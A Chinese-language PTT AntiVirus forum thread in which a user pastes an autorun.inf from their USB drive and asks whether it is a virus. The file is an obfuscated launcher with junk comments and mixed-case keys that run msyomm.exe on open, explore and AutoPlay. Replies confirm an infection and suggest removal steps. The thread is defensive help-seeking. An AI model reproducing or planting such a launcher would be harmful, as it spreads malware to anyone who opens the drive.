[問題] 判斷這個autorun.inf是病毒還是正常

[Lo78 (20/5)*(8+6)]

我的隨身碟有一個autorun.inf

打開以後 裡面是

[AutoRun]
;tJAbRgrKyXNmdnaNtkOPwe iejd flAiLTgqOjqj
opeN =msyomm.exe
;fxqRSkrsDbvlGWuhInKsWn QtPAcg
sheLl\opEn\comMAnd = msyomm.exe
;hqyVYXUsgpQoxDryuS rxsgGjgBhNQywqRaUimhjxGOajdwvw
sHeLl\eXplOre\COmmand= msyomm.exe
;UdaAvcnQPpkp peooIQFqIrysyEvIssh LyvymVEKoqruW ofQISlyolN
SheLL\OPeN\dEfaUlt=1
;vPrl
shelL\AutOPlaY\cOMmand = msyomm.exe
;OJyyG scaMicxjWuueuOPfcRltMo qXPaf

~~~~~~~~~~~~~~~~~

是不是中標了 > <

--
※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 1.170.73.22
※ 文章網址: https://www.ptt.cc/bbs/AntiVirus/M.1454867036.A.3EA.html
→ brianuser: 不用判斷，一般隨身碟就是不會有這個
推 jh961202: 有中毒，另外請找找看有沒有msyomm.exe這玩意，他是病毒
→ Lo78: 有耶 砍掉了還是會出來 除非放一個同檔名唯獨檔
→ brianuser: 那你就是中標ING的狀態
推 XDDDD5566: 我之前插
→ XDDDD5566: 隨身碟 諾頓也說已封鎖autorun 但是我的隨身碟是空的耶
→ XDDDD5566:  怎摸會這樣
→ fatstan: 有開顯示隱藏檔案嗎?
推 XDDDD5566: http://i.imgur.com/QOAFIHj.png  差隨身碟出現這個
→ XDDDD5566: 0.0 我之前用隨身別把舊電腦上的資料搬到新電腦上
→ XDDDD5566: 有來這個版問過問題 在上面而已 0.0 怎摸半
→ go1717: 建議關閉自動播放 但無法防止手賤去點XD
→ Lo78: 我把之前學生版的WIN7灌在usb裡面來重灌 其他硬碟沒有格式
→ Lo78: 化(還有很多重要的檔案)結果重灌WIN7 那個AUTORUN又跑出來
→ Lo78: 好煩啊
推 s109612044: 如果是win7以下搜尋efix並下載使用看看是否有效...
→ s109612044: 另外，有插過此台電腦的隨身碟都要注意